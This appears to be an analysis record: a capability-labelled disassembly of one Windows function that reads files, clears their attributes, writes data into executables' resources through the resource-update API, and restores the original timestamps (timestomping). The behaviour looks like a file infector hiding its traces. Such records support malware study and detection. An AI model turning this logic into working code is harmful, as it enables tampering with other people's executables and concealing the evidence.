Function at 0x4017e4
Capabilities:
Get file size
Read file on windows
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
push ebx
push esi
push edi
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.00420000
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.00420000
xor ecx, ecx
mov ebx, 0x27
mov dword [ebp - 0x204], ecx
call fcn.00404938
fstp qword [ebp - 8]
fld qword [ebp - 8]
fcomp qword [0x424f0c]
fnstsw ax
sahf
seta dl
and edx, 1
test dl, dl
je 0x40188d
call fcn.00418d28
mov ecx, 0xfa0
cdq
idiv ecx
push edx
call sub.KERNEL32.DLL_Sleep
push 0
call fcn.00418d28
cdq
mov ecx, 0x46
idiv ecx
add dx, 0x1e
xor ecx, ecx
push edx
xor edx, edx
lea eax, [ebp - 0x10]
call fcn.00420368
mov esi, eax
call fcn.00404938
fstp qword [ebp - 0x18]
fld qword [esi]
fadd qword [ebp - 0x18]
fstp qword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x28]
fld qword [eax]
fstp qword [0x424f0c]
lea ecx, [ebp - 0x210]
mov edx, ebx
mov eax, dword [ebp + 8]
call fcn.00403708
test eax, eax
jne 0x401dd4
call fcn.00404938
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
fcomp qword [0x424f0c]
fnstsw ax
sahf
seta dl
and edx, 1
test dl, dl
je 0x40191f
call fcn.00418d28
mov ecx, 0xfa0
cdq
idiv ecx
push edx
call sub.KERNEL32.DLL_Sleep
push 0
call fcn.00418d28
cdq
mov ecx, 0x46
idiv ecx
add dx, 0x1e
xor ecx, ecx
push edx
xor edx, edx
lea eax, [ebp - 0x38]
call fcn.00420368
mov ebx, eax
call fcn.00404938
fstp qword [ebp - 0x40]
fld qword [ebx]
fadd qword [ebp - 0x40]
fstp qword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x50]
fld qword [eax]
fstp qword [0x424f0c]
mov edx, 0x4210cf
lea eax, [ebp - 0x58]
call fcn.0041ffc8
lea edx, [ebp - 0x58]
xor ecx, ecx
push edx
mov dword [ebp - 0x54], ecx
lea eax, [ebp - 0x54]
call fcn.004038ac
lea eax, [ebp - 0x54]
xor edx, edx
mov dword [ebp - 0x5c], edx
lea ecx, [ebp - 0x5c]
pop edx
call fcn.004200c4
lea eax, [ebp - 0x5c]
xor ecx, ecx
mov dword [ebp - 0x60], ecx
lea ecx, [ebp - 0x60]
lea edx, [ebp - 0x204]
call fcn.004200c4
lea eax, [ebp - 0x60]
mov eax, dword [eax]
push eax
call fcn.00401508
xor edx, edx
pop ecx
mov dl, al
lea eax, [ebp - 0x60]
cmp edx, 1
mov edx, 2
sbb ecx, ecx
neg ecx
push ecx
call fcn.00420080
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.00420080
pop ecx
test cl, cl
je 0x401db7
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x64], eax
push 0x80
cmp dword [ebp - 0x204], 0
je 0x4019d8
mov edx, dword [ebp - 0x204]
jmp 0x4019dd
mov edx, 0x4210d1
push edx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
cmp dword [ebp - 0x204], 0
je 0x401a06
mov eax, dword [ebp - 0x204]
jmp 0x401a0b
mov eax, 0x4210d2
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
lea eax, [ebp - 0x7c]
push eax
lea edx, [ebp - 0x74]
push edx
lea ecx, [ebp - 0x6c]
push ecx
push ebx
call sub.KERNEL32.DLL_GetFileTime
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
mov esi, eax
push esi
call fcn.00414ac4
pop ecx
mov edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push esi
push edi
push ebx
call sub.KERNEL32.DLL_ReadFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x88]
xor edx, edx
call fcn.0042003c
mov ecx, dword [eax]
push ecx
xor eax, eax
mov dword [ebp - 0x84], eax
lea edx, [ebp - 0x84]
push edx
call fcn.0040168c
add esp, 8
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.00420080
mov ecx, dword [ebp - 0x84]
push ecx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401410
add esp, 8
push 0x80
cmp dword [ebp - 0x84], 0
je 0x401aac
mov edx, dword [ebp - 0x84]
jmp 0x401ab1
mov edx, 0x4210d3
push edx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
cmp dword [ebp - 0x84], 0
je 0x401aca
mov eax, dword [ebp - 0x84]
jmp 0x401acf
mov eax, 0x4210d4
push eax
call sub.KERNEL32.DLL_BeginUpdateResourceA
mov ebx, eax
push esi
push edi
push ebx
call fcn.00401650
add esp, 0xc
push 0
push ebx
call sub.KERNEL32.DLL_EndUpdateResourceA
push 0
cmp dword [ebp - 0x84], 0
je 0x401afd
mov eax, dword [ebp - 0x84]
jmp 0x401b02
mov eax, 0x4210d5
push eax
call sub.KERNEL32.DLL_BeginUpdateResourceA
mov ebx, eax
mov edx, 0x4210d6
lea eax, [ebp - 0x90]
call fcn.0041ffc8
lea ecx, [ebp - 0x90]
xor eax, eax
push ecx
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
call fcn.004038ac
lea eax, [ebp - 0x8c]
xor edx, edx
mov dword [ebp - 0x94], edx
lea ecx, [ebp - 0x94]
pop edx
call fcn.004200c4
lea eax, [ebp - 0x94]
xor ecx, ecx
mov dword [ebp - 0x98], ecx
lea ecx, [ebp - 0x98]
lea edx, [ebp - 0x204]
call fcn.004200c4
lea eax, [ebp - 0x98]
mov eax, dword [eax]
push eax
push ebx
call fcn.004015ac
add esp, 8
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.00420080
push 0
push ebx
call sub.KERNEL32.DLL_EndUpdateResourceA
mov edx, 0x4210d8
lea eax, [ebp - 0xa0]
call fcn.0041ffc8
lea ecx, [ebp - 0xa0]
xor eax, eax
push ecx
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
call fcn.004038ac
lea eax, [ebp - 0x9c]
xor edx, edx
mov dword [ebp - 0xa4], edx
lea ecx, [ebp - 0xa4]
pop edx
call fcn.004200c4
lea eax, [ebp - 0xa4]
xor ecx, ecx
mov dword [ebp - 0xa8], ecx
lea ecx, [ebp - 0xa8]
lea edx, [ebp - 0x204]
call fcn.004200c4
lea eax, [ebp - 0xa8]
mov eax, dword [eax]
push eax
mov edx, dword [ebp - 0x84]
push edx
call fcn.00401410
add esp, 8
push eax
lea eax, [ebp - 0xa8]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.00420080
pop ecx
test cl, cl
je 0x401c8d
mov eax, dword [ebp + 0x10]
inc dword [eax]
mov eax, dword [ebp - 0x84]
call fcn.0041ffc0
push 0
push 0x27
push 3
push 0
push 3
push 0xc0000000
mov edx, 0x4210da
lea eax, [ebp - 0xb0]
call fcn.0041ffc8
lea edx, [ebp - 0xb0]
xor ecx, ecx
push edx
mov dword [ebp - 0xac], ecx
lea eax, [ebp - 0xac]
call fcn.004038ac
lea eax, [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0xb4], edx
lea ecx, [ebp - 0xb4]
pop edx
call fcn.004200c4
lea eax, [ebp - 0xb4]
xor ecx, ecx
mov dword [ebp - 0xb8], ecx
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0x204]
call fcn.004200c4
cmp dword [ebp - 0xb8], 0
je 0x401d1b
mov eax, dword [ebp - 0xb8]
jmp 0x401d20
mov eax, 0x4210dc
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
lea eax, [ebp - 0xb8]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0xb4]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0xb0]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0xac]
mov edx, 2
call fcn.00420080
lea ecx, [ebp - 0x7c]
push ecx
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x6c]
push edx
push ebx
call sub.KERNEL32.DLL_SetFileTime
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov ecx, dword [ebp - 0x64]
push ecx
cmp dword [ebp - 0x204], 0
je 0x401d95
mov eax, dword [ebp - 0x204]
jmp 0x401d9a
mov eax, 0x4210dd
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push edi
call fcn.004148fc
pop ecx
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.00420080
lea eax, [ebp - 0x210]
call fcn.00403758
test eax, eax
jne 0x401dd4
mov edx, dword [ebp + 0x10]
mov ecx, dword [edx]
cmp ecx, dword [ebp + 0x14]
jl 0x4018a5
lea eax, [ebp - 0x210]
call fcn.0040377c
lea eax, [ebp - 0x204]
mov edx, 2
call fcn.00420080
lea eax, [ebp + 8]
mov edx, 2
call fcn.00420080
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.00420080
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret